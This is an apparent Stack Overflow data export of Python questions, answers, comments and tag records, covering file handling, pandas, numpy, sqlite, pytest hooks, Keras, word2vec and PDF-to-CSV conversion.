has body: UPDATE For current versions of python, the clear recommendation is to close files explicitly or use a with statement. No indication anymore that the GC will close the file for you. So now the answer should be: Maybe, but no guarantee. Always use close() or a with statement. In the Python 3.8 docs the text has been updated to: If you’re not using the with keyword, then you should call f.close() to close the file and immediately free up any system resources used by it. Warning: Calling f.write() without using the with keyword or calling f.close() might result in the arguments of f.write() not being completely written to the disk, even if the program exits successfully. Old Answer: Taken from the Python 3.6 docs: If you’re not using the with keyword, then you should call f.close() to close the file and immediately free up any system resources used by it. If you don’t explicitly close a file, Python’s garbage collector will eventually destroy the object and close the open file for you, but the file may stay open for a while. Another risk is that different Python implementations will do this clean-up at different times. So yes, the file will be closed automatically, but in order to be in control of the process you should do so yourself or use a with statement: with open('foo') as foo_file: for line in foo_file.readlines(): print line.rstrip() foo_file will be clsoed once the with block ends In the Python 2.7 docs, the wording was different: When you’re done with a file, call f.close() to close it and free up any system resources taken up by the open file. After calling f.close(), attempts to use the file object will automatically fail. so I assume that you should not depend on the garbage collector automatically closing files for you and just do it manually/use with
downvote count: 0
has comment: http://stackoverflow.com/comment/123800443
accepted answer of: http://stackoverflow.com/q/49512990
has comment: http://stackoverflow.com/comment/123800981
has comment: http://stackoverflow.com/comment/115423238
score: 7
type: Answer
has comment: http://stackoverflow.com/comment/115424693
answers question: http://stackoverflow.com/q/49512990
upvote count: 7

http://stackoverflow.com/a/49563749
has body: Use the .to_html() to get the string and add them: $ ipython In [1]: import numpy as np ...: from numpy.random import randn ...: import pandas as pd ...: import matplotlib.pyplot as plt ...: ...: df = pd.DataFrame(randn(5,4),columns='W X Y Z'.split()) ...: df1 = pd.DataFrame(randn(5,4),columns='A B C D'.split()) ...: In [2]: with open("a.html", 'w') as _file: ...: _file.write(df.head().to_html() + "\n\n" + df1.head().to_html()) ...: In [3]: Do you really want to exit ([y]/n)? y Now you will be able to see both the tables in the same file: $ cat a.html W X Y Z 0 1.565874 1.612569 1.213773 -0.059322 1 -0.995417 -0.279548 0.204154 0.803098 2 -0.188367 -1.495322 0.675200 -2.432019 3 0.776902 2.642486 1.858429 0.024089 4 1.010742 0.065047 1.264571 -0.982195 A B C D 0 -1.381432 -0.098652 -1.002030 0.133971 1 0.284307 0.566509 -0.640148 -0.284037 2 0.412460 -1.326584 -0.297338 0.531000 3 -0.456548 -0.354438 -0.675962 0.507228 4 -0.393275 0.462753 2.198363 -0.042263
has comment: http://stackoverflow.com/comment/86415058
has comment: http://stackoverflow.com/comment/96783706
has comment: http://stackoverflow.com/comment/86287773
downvote count: 0
answers question: http://stackoverflow.com/q/49563661
has comment: http://stackoverflow.com/comment/86408565
score: 6
type: Answer
has comment: http://stackoverflow.com/comment/86284371
upvote count: 6

http://stackoverflow.com/comment/85990232
type: Comment
comment on: http://stackoverflow.com/q/49492911
has text: This will also return different results for different numbers of workers, as, for example, a 6 workers run won't have any worker running with the seed `7`, as a 7 workers run will
type: QuestionComment
score: 0

http://stackoverflow.com/q/49530459
has answer: http://stackoverflow.com/a/49530460
has title: Sampling a Gaussian conditioned on an interval in tensorflow
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49531211
downvote count: 0
tagged with: tensorflow
favorite count: 0
type: Question
upvote count: 4
answer count: 2
has answer: http://stackoverflow.com/a/49531211
tagged with: gaussian
accepted answer: http://stackoverflow.com/a/49530460
tagged with: python
has body: Suppose X is Gaussian, N(0,1), and we want to sample X given that x1 &lt;= X &lt;= x2 for constants x1,x2. How to do this in tensorflow?
score: 4

http://stackoverflow.com/comment/85913823
type: AnswerComment
has text: Oh ok I figured out why, not sure how to fix. So the year has changed: `Month` is (18-01) in the first df and (17-01) on the second. So question: Can I just join on the `Bucket`?
comment on: http://stackoverflow.com/a/49454882
type: Comment
score: 0

http://stackoverflow.com/comment/86036500
type: QuestionComment
comment on: http://stackoverflow.com/q/49513818
has text: That sounds awful (string-based comparison). I never touched that lib, but face-distance should always be based on numerical-calculations (usually floating-point) and not string-based. It seems there is even an example to do it right [there](https://github.com/ageitgey/face_recognition/blob/7e454d7a28a06a886313c2a2a68bf11dee57d95b/examples/face_distance.py) (i totally ignored whatever encoding is used; but the example shows a dedicated distance-function; so all good)
score: 0
type: Comment

http://stackoverflow.com/a/49558634
has comment: http://stackoverflow.com/comment/86125124
type: Answer
score: 2
answers question: http://stackoverflow.com/q/49558388
upvote count: 2
has body: You can simply use the numpy clip function for this purpose: im2 = np.clip(img + 100, 0, 255) Explanation: The first argument is the array you want to clip, in your case that is img with 100 added to each element. The second argument is the minnimum value, that should be 0. The third argument is the maximum value, in your case 255.
downvote count: 0
has comment: http://stackoverflow.com/comment/86127016

http://stackoverflow.com/q/49546179
downvote count: 0
tagged with: image-processing
favorite count: 0
has answer: http://stackoverflow.com/a/49549635
score: 9
type: Question
upvote count: 9
has title: Python: Normalize image exposure
has body: I'm working on a project to measure and visualize image similarity. The images in my dataset come from photographs of images in books, some of which have very high or low exposure rates. For example, the images below come from two different books; the one on the top is an over-exposed reprint of the one on the bottom, wherein the exposure looks good: I'd like to normalize each image's exposure in Python. I thought I could do so with the following naive approach, which attempts to center each pixel value between 0 and 255: from scipy.ndimage import imread import sys def normalize(img): ''' Normalize the exposure of an image. @args: {numpy.ndarray} img: an array of image pixels with shape: (height, width) @returns: {numpy.ndarray} an image with shape of `img` wherein all values are normalized such that the min=0 and max=255 ''' _min = img.min() _max = img.max() return img - _min * 255 / (_max - _min) img = imread(sys.argv[1]) normalized = normalize(img) Only after running this did I realize that this normalization will only help images whose lightest value is less than 255 or whose darkest value is greater than 0. Is there a straightforward way to normalize the exposure of an image such as the top image above? I'd be grateful for any thoughts others can offer on this question.
has answer: http://stackoverflow.com/a/49555197
tagged with: python
possible better answer: http://stackoverflow.com/a/49549635
tagged with: image
accepted answer: http://stackoverflow.com/a/49550987
linked to: http://stackoverflow.com/q/58665477
has answer: http://stackoverflow.com/a/49550987
type: AnsweredQuestion
answer count: 3

http://stackoverflow.com/q/49573584
upvote count: 2
type: UnansweredQuestion
answer count: 1
downvote count: 0
has title: How do I generate the Correlation Coefficient of two columns of a dataframe as a new column variable in the same dataframe?
favorite count: 0
has answer: http://stackoverflow.com/a/49573872
score: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/86176661
tagged with: python
has body: I have a dataframe with three columns. ID works as the Identifier where I want to use the groupby command. Here, I want to generate the Correlation Coefficient between A and B for every ID. This is how my dataframe looks like: ID A B 1 5 7 1 3 4 2 4 5 2 7 6 2 9 1 I want to convert this into the following data frame: ID A B Corr_Coeff 1 5 7 &lt;Value 1&gt; 1 3 4 &lt;Value 1&gt; 2 4 5 &lt;Value 2&gt; 2 7 6 &lt;Value 2&gt; 2 9 1 &lt;Value 2&gt; This is the code that I currently am using but does not seem to be working: df['Corr_Coeff'] = df.groupby('ID')'A','B'.corr() Would be great if somebody could help me out here! Thanks in advance.
type: Question
tagged with: correlation
has comment: http://stackoverflow.com/comment/86155803

http://stackoverflow.com/comment/85992921
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49492595
has text: I think that dealing with a rotation algorithm combined with search of the substring will give you enough overhead to make it faster if you deal with the original string. This is especially true if the substring that you're looking for is long enough (because you could go with Knuth-Morris-Pratt). I think a simple Python `in` is implemented with Boyer-Moore.

http://stackoverflow.com/comment/86123393
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49557421
has text: not sure the `None` used for, maybe can be improve it to record the timestamp the file last changed. and compare the timestamp too. just cite the url for you to reference the 3 ways he mentioned
type: Comment

http://stackoverflow.com/comment/85947269
comment on: http://stackoverflow.com/q/49471894
type: Comment
has text: "Write your function" doesn't do what you think it does. If I give it `2x + 1`, `f(23)` will return the string `2x + 1`. You don't do math on a string.
type: QuestionComment
score: 0

http://stackoverflow.com/q/49474904
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85964948
has body: I am writing a script in python that will run a batch file, and after the batch is finished would proceed with more actions. I wrote the code for executing the batch and wait for it to finish. The problem is that if the batch is failed, the script does not know about it. The batch prints to the console if it finished successfully or failed. I need your help in order to understand how can I read the batch prints to the console using the script This is the relevant code: def runAutoFa(self): process = Popen([self._batPath], cwd = path, stdin = PIPE) process.stdin.write(self._commit) time.sleep(2) process.stdin.write(self._product) time.sleep(2) process.stdin.write(self._setupName) time.sleep(2) process.stdin.close() status = process.wait() # The command waits until the batch is finised self._logger.flush() return status I need to be able to read the prints while still waiting for the batch to complete before continuing with the script Thanks!
tagged with: subprocess
has title: How to read batch output in python script
score: 0
has comment: http://stackoverflow.com/comment/85954116
has comment: http://stackoverflow.com/comment/85952556
has comment: http://stackoverflow.com/comment/85953887
type: Question
has comment: http://stackoverflow.com/comment/85953910
answer count: 0

http://stackoverflow.com/comment/125681790
comment on: http://stackoverflow.com/a/71097532
score: 2
type: Comment
has text: As it’s currently written, your answer is unclear. Please [edit] to add additional details that will help others understand how this addresses the question asked. You can find more information on how to write good answers [in the help center](/help/how-to-answer).
type: AnswerComment

http://stackoverflow.com/comment/86016761
has text: I was able to get this in order with this code: data = json.loads(r.text, object_pairs_hook=OrderedDict) where r.text is the json i got from the web service API
score: 0
comment on: http://stackoverflow.com/a/49505296
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86152937
type: AnswerComment
has text: i prefer using for loops. trying to reduce the dependency on sorted function.
comment on: http://stackoverflow.com/a/49572754
score: 0
type: Comment

http://stackoverflow.com/comment/86069506
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49482265
has text: its normal, i can download the test csv file directly from azure storage explore , and there is data inside, i tried other csv file, no data acuttally download into the input_blob neither, its wired really..

http://stackoverflow.com/q/49471037
has title: save results of word2vec model query in a csv file?
upvote count: 2
score: 2
tagged with: http://stackoverflow.com/tag/csv
has answer: http://stackoverflow.com/a/49472056
has answer: http://stackoverflow.com/a/63170004
tagged with: gensim
favorite count: 0
type: Question
answer count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85945702
has comment: http://stackoverflow.com/comment/85946116
has body: I'm training a word2vec model on a corpus and then querying the model. This works fine, but I am running an experiment and need to call the model for different conditions, save the model for each condition, query the model for each condition, and then save the output from the queries into a csv file, say, for further analyses of all the conditions. I've studied the gensim documentation and searched around, but can't figure out what to do. I asked the gensim folks and they said that since the result of "most_similar" is a python object I can save it with pickle or save as txt, csv, whatever format I want. Sounds great, but I don't have a clue how to start. Here's my code - could you help me "fill in the blanks" even with something simple that I can research further and expand on my own? #train the model trained_model = gensim.models.Word2Vec(some hyperparamters) #save the model in the format that is appropriate for querying by writing it to disk and call it stored_model trained_model.save(some_filename) #read in the stored model from disk and call it retrieved_model retrieved_model = gensim.models.Word2Vec.load(some_filename) #query the retrieved model #each of these queries produces a tuple of 10 'word', cosine similarity pairs retrieved_model.wv.most_similar(positive=['smartthings', 'amazon'], negative=['samsung']) retrieved_model.wv.most_similar(positive=['light', 'nest'], negative=['hue']) retrieved_model.wv.most_similar(positive=['shopping', 'new_york_times'], negative=['ebay']) . . . #store the results of all these queries in a csv so they can be analyzed. ?
downvote count: 0
tagged with: word2vec
tagged with: python

http://stackoverflow.com/q/49554055
score: 0
tagged with: layout
type: UnansweredQuestion
answer count: 1
has body: I can successfully draw a nice network using the kk layout. Unfortunately, as kk is a stochastic layout, it looks different every time I plot it. Is there a way to plot it twice with the same vertex and node arrangement but varying the visual style? I would like to visualize changes by changing the vertex colors and showing both plots side-by-side. Of course, in the future I might be interested in modifying edges too but this is not an issue right now. I'm completely fine with the fact that the layout changes for every run of my programm, it should just plot it consistently within one run. I can plot it twice if I save the resulting SVG but of course modyfining the underlying graph would be more elegant than just tweaking the raw SVG. This plots the same layout twice but only as SVG: s = cairo.SVGSurface(None, 800, 800) model = ig.plot(g, **visual_style, vertex_label=[label_for_title(vertex[1]['title']) for vertex in enumerate(g.vs)], edge_color=[color_for_rating(edge[1]['rating']) for edge in enumerate(g.es)], target=s, mark_groups=action_systems)._repr_svg_() display(SVG(model)) display(SVG(model))
has title: Reuse result of stochastic python-igraph layout for future plotting
type: Question
has answer: http://stackoverflow.com/a/49826874
tagged with: python
tagged with: igraph

http://stackoverflow.com/q/49593427
tagged with: prepared-statement
favorite count: 0
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49593462
linked to: http://stackoverflow.com/q/1307378
tagged with: python
has body: Hello I was following Python MYSQL update statement and managed to produce this code for my programme's SQL Update with variables function: def editInfo(start, userName): newFavGenre = input("Enter your favourite genre") newFavArtist = input("Enter your favourite artist") ## userName is a global variable con = lite.connect(db) cur = con.cursor() cur.execute (""" UPDATE users SET favGenre=%s, favArtist=%s WHERE username=%s """, (newFavGenre, newFavArtist, userName)) results = cur.fetchall() return result mainmenu() And keep expericiencing this error code: sqlite3.OperationalError: near "%": syntax error Any ideas where I am going wrong?
has title: Python SQL Update Syntax Issues
score: 1
upvote count: 1
tagged with: sqlite
answer count: 1
downvote count: 0

http://stackoverflow.com/a/49587503
has comment: http://stackoverflow.com/comment/86182945
has comment: http://stackoverflow.com/comment/86183134
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/49583466
has comment: http://stackoverflow.com/comment/86182819
has comment: http://stackoverflow.com/comment/86183000
score: 5
has body: With these changes: Activations to relu Remove kernel_initializer (i.e. leave the default 'glorot_uniform') Adam optimizer 100 epochs i.e. regressor = Sequential() regressor.add(Dense(units=20, activation='relu', input_dim=1)) regressor.add(Dense(units=20, activation='relu')) regressor.add(Dense(units=20, activation='relu')) regressor.add(Dense(units=1)) regressor.compile(loss='mean_squared_error', optimizer='adam') regressor.fit(X, Y, epochs=100, verbose=1, batch_size=32) and the rest of your code unchanged, here is the result: Tinker, again and again...
accepted answer of: http://stackoverflow.com/q/49583466
has comment: http://stackoverflow.com/comment/86259270
upvote count: 5
type: Answer

http://stackoverflow.com/comment/85951616
comment on: http://stackoverflow.com/q/49474467
has text: Will you be using a fixed batch size or do you need a dynamic one ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86048725
type: QuestionComment
has text: Sorry for the confusion. I just updated the post again. My worker pool remains idle and on debugging I checked the workers are indeed spawned. But they fail to execute the mp_worker function. @pstatix In execute logic comment I have made an assumption that it handles the inputArg part.
score: 0
comment on: http://stackoverflow.com/q/49521085
type: Comment

http://stackoverflow.com/comment/85902962
has text: @Oct I know what you're trying to do, but it doesn't seem to be interpreting filename as a string, can you get it to print(type(filename)) and tell me what it is?
comment on: http://stackoverflow.com/q/49449907
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86182476
type: Comment
type: QuestionComment
has text: yes the files are sorted with some sense, but line number are different. the output should be f1 + f2 (without first two columns).I have to compare the first line of f2 with all lines in f1, then the second, the third and so on...
comment on: http://stackoverflow.com/q/49587210
score: 0

http://stackoverflow.com/comment/86093615
has text: I think you need to generate all indices (`np.indices`, `np.meshgrid`), and then apply some function that calculates whether a specific pair is within the triangle. The goal will be a boolean mask, or the equivalent `where` coordinates.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49542873

http://stackoverflow.com/a/49555878
score: 1
type: Answer
has body: The wikipedia.exceptions.DisambiguationError class does not have an option attribute. For simply printing information, you can try one of following: import wikipedia try: page = wikipedia.page("Recommendation") except wikipedia.exceptions.PageError as e: print e print e.args print e.paeid print e.message
answers question: http://stackoverflow.com/q/49555715
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/86196681
has text: Have you done any research? Methods to update widgets are well documented, and there are _lots_ of questions on stackoverflow related to updating widgets.
type: QuestionComment
comment on: http://stackoverflow.com/q/49594431
score: 0
type: Comment

http://stackoverflow.com/comment/86031854
has text: Unfortunately, as you can see from my manifest, all three of these packages are currently installed. I have removed and re-installed pillow several times: http://dpaste.com/3EBW3A1
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49508551
type: AnswerComment

http://stackoverflow.com/comment/86098294
comment on: http://stackoverflow.com/a/49545022
type: AnswerComment
has text: thank you this is pretty detailed and gives me a good explanation of how mock vs patch works.... I already fixed my code to use Mock and it worked but this helps anyways :)
score: 0
type: Comment

http://stackoverflow.com/comment/86132018
comment on: http://stackoverflow.com/q/49561978
score: 2
has text: Functions. You're looking for functions. Your `variabel` should be a function.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/112847355
has text: Hello @Vallie ,here is the link to my question related to sqlite issue: https://stackoverflow.com/questions/63816015/cant-retrieve-data-from-sqlite3-file-with-unexpected-characters
comment on: http://stackoverflow.com/a/49443856
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86011876
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49503819
has text: It is not python.
score: 0

http://stackoverflow.com/a/49450167
accepted answer of: http://stackoverflow.com/q/49445609
has comment: http://stackoverflow.com/comment/86018231
has comment: http://stackoverflow.com/comment/97439989
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49445609
has body: Here an example which can help you. Structure of files: /example: __init__.py # empty file /test_pack_1 __init__.py # empty file conftest.py # pytest hooks test_my.py # a few tests for demonstration There are 2 tests in test_my.py: def test_one(): assert 1 == 1 print('1==1') def test_two(): assert 1 == 2 print('1!=2') Example of conftest.py: import pytest from _pytest.runner import TestReport from _pytest.terminal import TerminalReporter @pytest.hookimpl(hookwrapper=True) def pytest_terminal_summary(terminalreporter): # type: (TerminalReporter) -&gt; generator yield # you can do here anything - I just print report info print('*' * 8 + 'HERE CUSTOM LOGIC' + '*' * 8) for failed in terminalreporter.stats.get('failed', []): # type: TestReport print('failed! node_id:%s, duration: %s, details: %s' % (failed.nodeid, failed.duration, str(failed.longrepr))) for passed in terminalreporter.stats.get('passed', []): # type: TestReport print('passed! node_id:%s, duration: %s, details: %s' % (passed.nodeid, passed.duration, str(passed.longrepr))) Documentation says that pytest_terminal_summary has exitstatus arg Run tests without any additional options: py.test ./example. Example of output: example/test_pack_1/test_my.py .F ********HERE CUSTOM LOGIC******** failed! node_id:test_pack_1/test_my.py::test_two, duration: 0.000385999679565, details: def test_two(): &gt; assert 1 == 2 E assert 1 == 2 example/test_pack_1/test_my.py:7: AssertionError passed! node_id:test_pack_1/test_my.py::test_one, duration: 0.00019907951355, details: None =================================== FAILURES =================================== ___________________________________ test_two ___________________________________ def test_two(): &gt; assert 1 == 2 E assert 1 == 2 example/test_pack_1/test_my.py:7: AssertionError ====================== 1 failed, 1 passed in 0.01 seconds ====================== Hope this helps. Note! Make sure that .pyc files was removed before running tests
has comment: http://stackoverflow.com/comment/85905092
upvote count: 6
type: Answer
score: 6

http://stackoverflow.com/q/49560486
tagged with: http://stackoverflow.com/tag/pdf
has comment: http://stackoverflow.com/comment/86133007
downvote count: 0
has answer: http://stackoverflow.com/a/49562555
has comment: http://stackoverflow.com/comment/86130125
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86132897
possible better answer: http://stackoverflow.com/a/70106794
has comment: http://stackoverflow.com/comment/86129196
score: 13
tagged with: python
has comment: http://stackoverflow.com/comment/86129072
has body: In Python 3, I have a PDF file "Ativos_Fevereiro_2018_servidores_rj.pdf" with 6,041 pages. I'm on a machine with Ubuntu On each page there is text at the top of the page, two lines. And below a table, with header and two columns. Each table in 36 rows, less on the last page At the end of each page, after the tables, there is also a line of text I want to create a CSV from this PDF, considering only the tables in the pages. And ignoring the texts before and after the tables Initially I tested the tabula-py. But it generates an empty file: from tabula import convert_into convert_into("Ativos_Fevereiro_2018_servidores_rj.pdf", "test_s.csv", output_format="csv") Please, does anyone know of another method to use tabula-py for this type of demand? Or another way to convert PDF to CSV in this file type?
has answer: http://stackoverflow.com/a/70106794
upvote count: 13
tagged with: tabula
type: AnsweredQuestion
has title: How to convert PDF to CSV with tabula-py?
answer count: 3
has answer: http://stackoverflow.com/a/77604178
accepted answer: http://stackoverflow.com/a/49562555
tagged with: http://stackoverflow.com/tag/csv

conditional-statements
tags question: http://stackoverflow.com/q/49501510
tags question: http://stackoverflow.com/q/49554747
tag name: conditional-statements
tags question: http://stackoverflow.com/q/49578171
tags question: http://stackoverflow.com/q/49594997
tags question: http://stackoverflow.com/q/49456861
tags question: http://stackoverflow.com/q/49565639
type: Tag
tags question: http://stackoverflow.com/q/49556909
tags question: http://stackoverflow.com/q/49565400
tags question: http://stackoverflow.com/q/49509051
tags question: http://stackoverflow.com/q/49554117

http://stackoverflow.com/comment/86047551
has text: @wwii, how do I check if there is only one? Maybe I'm missing something. I checked the folder and the `nesterNEW.py` module in there opens up the code that I posted above. @bobrobbob, I changed it in both lines ("man" and "other") if that's what you mean. I am more or less completely new to programming, so sorry if it takes longer for me to understand certain things you guys are saying.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49515756

http://stackoverflow.com/comment/87890790
has text: I have the same issue. I just updated to jupyter 5.4.1
comment on: http://stackoverflow.com/q/49519648
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85946222
type: Comment
comment on: http://stackoverflow.com/q/49471706
score: 0
has text: yeah sure I'll add one of .txt files to the original edit
type: QuestionComment

http://stackoverflow.com/a/49559070
has body: The function groupbyin the itertools module provides for a natural solution: &gt;&gt;&gt; len(list(itertools.groupby('01000110'))) 5 As @chrisz points outs, you could make this marginally faster by replacing len(list()) by sum().
type: Answer
score: 2
answers question: http://stackoverflow.com/q/49558783
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/86172171
score: 0
comment on: http://stackoverflow.com/a/49575933
type: Comment
has text: its throwing the error, however its only showing one duplicate consistently. `raise DuplicateKeyError(errmsg, code, response) pymongo.errors.DuplicateKeyError: E11000 duplicate key error collection: myitems.scrapy_items index: email_1 dup key: { : "myemail...` over and over, and i know there is more duplicates
type: AnswerComment

http://stackoverflow.com/a/49473459
type: Answer
upvote count: 4
answers question: http://stackoverflow.com/q/49473256
has body: First, this is almost certainly a very bad idea. Python expects strings to be immutable. There's a reason that even the C API won't let you change their contents after they're flagged ready. If you're just doing this to play around with the interpreter's implementation, that can be fun and instructive, but if you're doing it for any real-life purpose, you're probably doing something wrong. In particular, if you're doing it for "security", what you almost certainly really want to do is to not create a unicode in the first place, but instead create, say, a bytearray with the UTF-16 or UTF-32 encoding of your string, which can be zeroed out in a way that's safe, portable, and a lot easier. Anyway, there's no reason to expect that two completely different types should store their buffers at the same offset. In CPython 2.x, a str is a PyStringObject: typedef struct { PyObject_VAR_HEAD long ob_shash; int ob_sstate; char ob_sval[1]; } PyStringObject; That ob_sval is the buffer; the offset should be 36 on 64-bit builds and (I think) 24 on 32-bit builds. In a comment, you say: I read it somewhere and also the offset for a string type is 37 in my system which is what sys.getsizeof('') shows -> >>> sys.getsizeof('') 37 The offset for a string buffer is actually 36, not 37. And the fact that it's even that close is just a coincidence of the way str is implemented. (Hopefully you can understand why by looking at the struct definition—if not, you definitely shouldn't be writing code like this.) There's no reason to expect the same trick to work for some other type without looking at its implementation. A unicode is a PyUnicodeObject: typedef struct { PyObject_HEAD Py_ssize_t length; /* Length of raw Unicode data in buffer */ Py_UNICODE *str; /* Raw Unicode buffer */ long hash; /* Hash value; -1 if not set */ PyObject *defenc; /* (Default) Encoded version as Python string, or NULL; this is used for implementing the buffer protocol */ } PyUnicodeObject; Its buffer is not even insid…
downvote count: 0
has comment: http://stackoverflow.com/comment/85960974
has comment: http://stackoverflow.com/comment/85961122
score: 4

http://stackoverflow.com/a/49458414
downvote count: 0
answers question: http://stackoverflow.com/q/49458163
score: 3
has body: You can use an xpath to target the span text: driver.find_element_by_xpath("//span[text()='ALL_USA']").click();
type: Answer
upvote count: 3

enumeration
tag name: enumeration
type: Tag
tags question: http://stackoverflow.com/q/49537779
tags question: http://stackoverflow.com/q/49518098
tags question: http://stackoverflow.com/q/49481786

http://stackoverflow.com/comment/86128913
has text: You can add your codes into your question, then we can help you from there.
score: 0
comment on: http://stackoverflow.com/q/49520287
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49496862
answers question: http://stackoverflow.com/q/49496609
score: 0
has body: I will provide a corrected code below, then give an explanation: The Code: incorrectNames = [] name = "" while name != "John": name = input("Enter your name: \n") if name != "John": incorrectNames.append(name) if name == "John": print("Incorrect names", incorrectNames) Explanation: Try to picture what is happening as you run the code. Lets say we follow both the value of the variable name and the list incorrectNames after each input from the user. After Andy is entered, the value of name becomes 'Andy' due to the input statement. Now, note that immediately following the input statement is the line incorrectNames.append(name). This causes the list incorrectNames to become ['Andy']. After this, the same procedure happens with 'Sam'. First it enters name, then it is appended to the list, making incorrecNames become ['Andy','Sam']. And then the final loop, when the real action happens. Now the user enters 'John'. But here lies the problem: immediately following the input statement is the line incorrectNames.append(name). This means that even without checking the value of name, it is appended to incorrectNames. All you have to do is insert some code to check the value of name, and not append it to incorrecNames if it is John.
type: Answer

http://stackoverflow.com/comment/86114218
type: Comment
comment on: http://stackoverflow.com/q/49542427
type: QuestionComment
score: 0
has text: That's all. I want to move the focus to the last point or may be to the middle, i want to have the control over the focus.

http://stackoverflow.com/comment/86116974
type: Comment
type: QuestionComment
has text: Can you add some data sample?
comment on: http://stackoverflow.com/q/49554907
score: 1

http://stackoverflow.com/comment/86028949
type: Comment
comment on: http://stackoverflow.com/a/49512102
score: 0
type: AnswerComment
has text: thanks , why server say : `Product has no product_discount. `

http://stackoverflow.com/comment/86163590
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49577879
type: QuestionComment
has text: Possible duplicate of [How to center a Tkinter widget?](https://stackoverflow.com/questions/18736465/how-to-center-a-tkinter-widget)

http://stackoverflow.com/q/49596805
has body: When I try to install wxPython3.0.2.0 with Homebrew 1.5.13 on macOS High Sierra 10.13.2, it installs the package defaultly in Python3. How can I make Homebrew install it in Python2.7?
has comment: http://stackoverflow.com/comment/86204444
answer count: 0
score: 1
downvote count: 0
tagged with: macos
favorite count: 0
type: Question
tagged with: homebrew
type: UnansweredQuestion
upvote count: 1
tagged with: python
has title: Installing Python2.7 packages with Homebrew

http://stackoverflow.com/q/49480687
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49481147
tagged with: multidimensional-array
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49480710
has answer: http://stackoverflow.com/a/49480755
tagged with: python
has title: How to convert a boolean 3D array to an int array?
tagged with: type-conversion
tagged with: boolean
score: 0
answer count: 3
has body: I need to convert a 3D True/False into 1/0 For ex: x = np.array([0,0,-1,1,0,1,-1,1,0]).reshape(3,3)[:, np.newaxis] I tried the methods which are used to convert array [x&gt;0]*1 But it gives only the boolean values, [array([False, False, False, True, False, True, False, True, False])] Is there a way to convert this while keeping the structure of the matrix?
tagged with: matrix

http://stackoverflow.com/comment/86137403
type: Comment
comment on: http://stackoverflow.com/a/49563508
score: 0
type: AnswerComment
has text: Hi @ilija, I think that I have not better explained the problem. Here I re-formulate it. Let assume that I have an array A(a0,a1, …., a99) of a cardinality 100. I want to generate a Matrix M of 100x100 that contains the differences between each pair element of A, i.e, each element m_ij /in M =a_i - a_j for each i /in A and for each j /in A. Then I want to generate a heat map for the data M.

http://stackoverflow.com/a/49588853
upvote count: 2
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86185431
type: Answer
answers question: http://stackoverflow.com/q/49588694
has body: How about this (no fancy things): with open("out.txt", "w") as output: odd_line = True with open("testfile.txt", "r") as input: for line in input: if odd_line: s = line.strip() # save to a variable else: output.write('{} {}'.format(s, line) # append to output after concatenating odd_line = not odd_line

http://stackoverflow.com/comment/85969999
type: QuestionComment
score: 0
has text: Either you got some of those columns out of order, or you got some of the tuple elements out of order, or it's exactly what the error says and the value you're passing for the `volleys` columns isn't an integer.
comment on: http://stackoverflow.com/q/49483552
type: Comment

http://stackoverflow.com/comment/86063423
score: 0
has text: @Pitto: It's alright. Maybe I should conceptualize the problem statement before thinking for possible solution.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49528661

http://stackoverflow.com/comment/86042343
comment on: http://stackoverflow.com/a/49516029
type: Comment
has text: @李成强 If the answer solved your problem, you can mark it accepted by clicking on the tickmark below the voting display.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86564611
comment on: http://stackoverflow.com/a/49772477
type: Comment
type: AnswerComment
score: 0
has text: Hi Musicamante, thank you very much for your answer. I've inserted your code into my own sample code, but apparently my stylesheet is causing trouble. Please take a look at `Second proposed solution` - a new chapter I added to my question, completely focuses on your answer :-)

http://stackoverflow.com/comment/86002844
type: Comment
type: AnswerComment
has text: @Karma Please produce a [mcve] with your issue, I don't see myself being able to solve your problem like this.
comment on: http://stackoverflow.com/a/49498804
score: 0

http://stackoverflow.com/comment/86190339
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49591008
type: AnswerComment
has text: @Denisuu oh! then poke's answer is exactly what you need.

linear-programming
tags question: http://stackoverflow.com/q/49490423
type: Tag
tags question: http://stackoverflow.com/q/49463875
tags question: http://stackoverflow.com/q/49557173
tags question: http://stackoverflow.com/q/49455626
tag name: linear-programming

http://stackoverflow.com/a/49560906
type: Answer
answers question: http://stackoverflow.com/q/49560763
score: 0
